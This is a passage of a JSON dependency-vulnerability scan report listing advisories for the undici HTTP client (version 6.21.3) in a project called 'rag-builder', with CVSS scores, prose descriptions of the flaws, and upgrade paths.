"modificationTime": "2026-08-12T15:25:44.921338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-12T15:25:44.921338Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"assigner": "Red Hat",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-18T05:38:48.336687Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"assigner": "SUSE",
"severity": "low",
"baseScore": 3.7,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:38.321254Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Permissive List of Allowed Inputs via permissive substring matching in the `Set-Cookie` attribute parsing. An attacker can weaken cookie SameSite enforcement by crafting a response with a non-standard SameSite value that is interpreted as a more permissive setting, potentially allowing cookies to be sent in cross-site requests. \r\n\r\n**Note:** This is only exploitable if the application consumes Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forwards or relies on the parsed sameSite attribute.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by validating that the parsed sameSite attribute is exactly 'Strict', 'Lax', or 'None' (case-insensitive) before relying on or forwarding it.\n## Remediation\nUpgrade `undici` to version 6.27.0, 7.28.0, 8.5.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-g8m3-5g58-fq7m)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/25efa447)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5655ea43)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/d0574cc4)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v6.27.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v7.28.0)\n- [GitHub Release](https://github.com/nodejs/undici/releases/tag/v8.5.0)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.14969",
"probability": "0.00238",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-11525"
],
"CWE": [
"CWE-183"
],
"GHSA": [
"GHSA-g8m3-5g58-fq7m"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-06-18T11:16:13.940701Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-17T18:22:58Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-18T11:16:14.136307Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-12T15:25:44.921338Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-19635210",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"manus-use"
],
"semver": {
"vulnerable": [
">=6.7.0 <6.28.1",
">=7.0.0 <7.29.1",
">=8.0.0 <8.10.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.28.1",
"7.29.1",
"8.10.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-rfgv-xxqx-mfg5",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/6615e0175e9b635bcd2e3e87a47daa82f6f5b728",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-05T06:00:38.525346Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-06T08:34:03.582694Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-06T08:34:03.582694Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-05T06:00:38.525346Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in its WebSocket client, in the form of a `TypeError` inside a `queueMicrotask` callback when a server's 101 response carries a `Sec-WebSocket-Protocol` header the client never requested. An attacker can crash the process by returning a 101 handshake response that names a subprotocol the client did not offer. This requires the application to open a WebSocket without requesting a subprotocol to an attacker-controlled or compromised server, or over plaintext `ws://` where a MitM can alter the handshake.\n## Remediation\nUpgrade `undici` to version 6.28.1, 7.29.1, 8.10.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-rfgv-xxqx-mfg5)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/6615e0175e9b635bcd2e3e87a47daa82f6f5b728)\n",
"epssDetails": {
"percentile": "0.32575",
"probability": "0.00394",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-19534"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-rfgv-xxqx-mfg5"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-09-06T08:30:56.044805Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-04T18:33:52Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-06T08:30:56.331884Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-06T08:34:03.582694Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-21181005",
"title": "Improper Certificate Validation",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"credit": [
"Eurico Nicacio",
"Sanjeev Kumar",
"BlueN0r"
],
"semver": {
"vulnerable": [
">=4.0.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "critical",
"cvssScore": 9.1,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-2m5v-pch6-74hx",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/nodejs/undici/commit/f75eac00ac177f7b2e6c8bfbd52d4113164286e6",
"title": "GitHub Commit"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 9.1,
"modificationTime": "2026-10-20T01:34:20.281545Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-10-16T06:34:24.655703Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.923864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.923864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:20.281545Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:24.655703Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Improper Certificate Validation via the `Agent` constructor in `lib/dispatcher/agent.js`, where TLS options passed as the `tls` parameter are silently dropped and never stored in `kOptions`. Because the `tls` field is not destructured and forwarded to the internal options object, any TLS configuration supplied by the caller - including custom CA certificates, certificate pinning, or hostname verification overrides - is ignored when connections are established. An attacker positioned on the network can exploit the resulting absence of TLS constraints to perform a MitM attack, intercepting or modifying HTTPS traffic that the caller believed was protected by the supplied TLS settings.\n\n## Workaround\n\nUsers who are not able to upgrade to the fixed version are advised to pass the TLS options through connect instead of tls. For proxied `EnvHttpProxyAgent` destinations, use `requestTls / proxyTls`.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-2m5v-pch6-74hx)\n- [GitHub Commit](https://github.com/nodejs/undici/commit/f75eac00ac177f7b2e6c8bfbd52d4113164286e6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.07019",
"probability": "0.00180",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109383"
],
"CWE": [
"CWE-295"
],
"GHSA": [
"GHSA-2m5v-pch6-74hx"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:12:43.591600Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:59:00.559000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:12:43.778208Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.923864Z",
"socialTrendAlert": false,
"severityWithCritical": "critical",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-21181013",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"benzdeus"
],
"semver": {
"vulnerable": [
">=4.2.1 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-qrxm-fqhp-jwvm",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-16T06:34:40.410348Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-18T11:15:38.468693Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-18T11:15:38.468693Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:40.410348Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception via unhandled `ERR_TLS_CERT_ALTNAME_INVALID` errors in `onHttpSocketError`, `onHttp2SessionError`, and `onHttp2SocketError`. When a TLS connection is established and the server's certificate fails Subject Alternative Name validation post-connect, the error propagates and triggers a failed `assert` call, crashing the process. An attacker who can cause the client to connect to a server presenting an invalid TLS certificate can exploit this to crash the Node.js process.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-qrxm-fqhp-jwvm)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.07405",
"probability": "0.00184",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-87018"
],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-qrxm-fqhp-jwvm"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:38.122926Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:34.126000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:38.271407Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-18T11:15:38.468693Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-21181015",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"benzdeus"
],
"semver": {
"vulnerable": [
">=5.15.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-9fm3-97px-rjf6",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:19.557183Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:23.888137Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.494426Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.494426Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:19.557183Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:23.888137Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via unbounded automatic PONG write queuing in the WebSocket `ByteParser` receiver. A remote attacker can send a flood of PING control frames over a standard WebSocket connection, causing the outbound write queue to grow without bound because each inbound PING triggers an automatic PONG reply that is enqueued regardless of socket backpressure, exhausting memory and crashing the process.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-9fm3-97px-rjf6)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.22070",
"probability": "0.00308",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109932"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-9fm3-97px-rjf6"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:43.161817Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T21:58:18.018000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:43.310504Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.494426Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-21181019",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Syed Mohammad Ibrahim"
],
"semver": {
"vulnerable": [
">=6.5.0 <6.29.1",
">=7.0.0 <7.30.1",
">=8.0.0 <8.12.2"
]
},
"exploit": "Not Defined",
"fixedIn": [
"6.29.1",
"7.30.1",
"8.12.2"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-4qv8-2p9j-2685",
"title": "GitHub Advisory"
},
{
"url": "https://cna.openjsf.org/security-advisories.html",
"title": "Vendor Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:34:19.734826Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.9,
"modificationTime": "2026-10-16T06:34:32.430824Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:35:47.485058Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:35:47.485058Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:34:19.734826Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-10-16T06:34:32.430824Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `EventSourceStream` transform in `lib/web/eventsource/eventsource-stream.js`, where the `maxEventSize` limit is only enforced inside `parseLine()`, which is only invoked when a line terminator (CR or LF) is encountered. A server can stream a `data:` field (or any field) that never contains a line terminator, causing the client to buffer the response body without bound and driving the process toward memory exhaustion.\n## Remediation\nUpgrade `undici` to version 6.29.1, 7.30.1, 8.12.2 or higher.\n## References\n- [GitHub Advisory](https://github.com/nodejs/undici/security/advisories/GHSA-4qv8-2p9j-2685)\n- [Vendor Advisory](https://cna.openjsf.org/security-advisories.html)\n",
"epssDetails": {
"percentile": "0.22069",
"probability": "0.00308",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-109924"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-4qv8-2p9j-2685"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-10-18T11:15:59.691676Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-15T19:58:39.827000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-18T11:15:59.844509Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:35:47.485058Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@qdrant/js-client-rest@1.15.1",
"undici@6.29.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-15518064",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
">=6.0.0 <6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
"url": "https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3537648",
"title": "HackerOne Report"
},
{
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2447145",
"title": "Red Hat Bugzilla Bug"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-03-14T21:41:54.934873Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T16:59:02.863857Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T16:59:02.863857Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-14T21:41:54.934873Z"
}
],
"description": "## Overview\n[undici](https://www.npmjs.org/package/undici) is an An HTTP/1.1 client, written from scratch for Node.js\n\nAffected versions of this package are vulnerable to Uncaught Exception in the ByteParser when handling a specially crafted WebSocket frame with an extremely large 64-bit length. An attacker can cause the process to terminate unexpectedly by sending such a frame, resulting in a fatal TypeError and service disruption.\n## Remediation\nUpgrade `undici` to version 6.24.0, 7.24.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89)\n- [HackerOne Report](https://hackerone.com/reports/3537648)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2447145)\n",
"epssDetails": {
"percentile": "0.40735",
"probability": "0.00497",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-1528"
],
"CWE": [
"CWE-248"
]
},
"packageName": "undici",
"proprietary": false,
"creationTime": "2026-03-13T09:17:00.403364Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-12T20:21:57Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-13T09:17:00.628005Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T16:59:02.863857Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.15.1",
"undici@6.21.3"
],
"upgradePath": [
false,
"@langchain/qdrant@0.1.3",
"@qdrant/js-client-rest@1.19.0",
"undici@7.29.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "undici",
"version": "6.21.3"
},
{
"id": "SNYK-JS-UNDICI-15518068",
"title": "Improper Handling of Highly Compressed Data (Data Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<6.24.0",
">=7.0.0-alpha.1 <7.24.0"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.24.0",
"7.24.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "undici",
"references": [
{
